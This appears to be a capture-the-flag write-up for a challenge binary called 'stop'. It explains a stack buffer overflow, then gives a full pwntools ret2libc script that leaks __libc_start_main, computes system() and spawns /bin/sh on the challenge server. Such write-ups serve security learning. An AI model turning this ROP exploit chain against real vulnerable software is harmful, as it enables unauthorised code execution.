At first, you might think that this was simple BoF where you write shell on a stack and return to the shell. Since in description they say they have zero security features enabled. Well ASLR is enabled so it won’t work. We know that it wont work because if you give invalid tree, you get pointer and you can see that it changes every time.
If we use pwn checksec on stop, we can see that there are no stack canary and no PIE. Since PIE is turned off, we can use ROP!
In main(), there is buffer over flow in read function. read(0x0, *(rbp-0x110), 0x256) It can read up to 0x256 when buffer is from rbp – 0x110.
First we can leak the address of __libc_start_main by jumping to printf(GOT__libc_start_main) and then returning back to main so that we can use the GOT__libc_start_main to calculate system from libc.
With system location calculated, we can jump to system(/bin/sh)
Exploiting Remote Server
When you try to use this exploit remotely, we have to remind ourselves that their stack alignment is different due to env variable and etc. Stack should be aligned by 16. We can add RET instruction to buffer over flow to make it aligned. Also, their libc will be different, so we can use https://libc.blukat.me/?q=__libc_start_main%3A0x7fa769469ab0 to look for their libc version with the leak __libc_start_main.
from pwn import *
### Settings ###
is_local = False
### Setup ###
p = process("./stop")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.30.so")
p = remote("p1.tjctf.org", 8001)
# You can find that remote is using libc by using the leaked
# __libc_start_main address in this website. https://libc.blukat.me/?q=__libc_start_main%3A0x7fa769469ab0
libc = ELF("./libc-2.27.so")
elf = ELF("./stop")
rop = ROP(elf)
### First ROP ###
# JUNK contains all the main stack + RBP.
JUNK = 'A' * 282
PRINTF = elf.plt['printf']
GOT_LIBC_START_MAIN = elf.got['__libc_start_main']
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])
MAIN = elf.sym['main']
RET = rop.find_gadget(['ret'])
offset_libc_start_main = libc.sym['__libc_start_main']
offset_system = libc.sym['system']
# All these RET is not needed locally. But remotely you need them to make stack byte aligned by 16.
p.sendline(JUNK + p64(POP_RDI) + p64(GOT_LIBC_START_MAIN) + p64(RET) + p64(PRINTF) + p64(RET) + p64(MAIN))
sleep(1) # Delay for send.
first_msg = p.recv()
# Had to mess around with received message. It should be something like 0x00007fXXXXXXXXXX.
LIBC_START_MAIN = u64(first_msg[-20:-14].ljust(8,'\x00'))
print("Leaked __libc_start_main: " + hex(LIBC_START_MAIN))
### Second ROP ###
SYSTEM = LIBC_START_MAIN + (offset_system - offset_libc_start_main)
BINSH = next(elf.search("/bin/sh"))
p.sendline(JUNK + p64(RET) + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM))
second_msg = p.recv()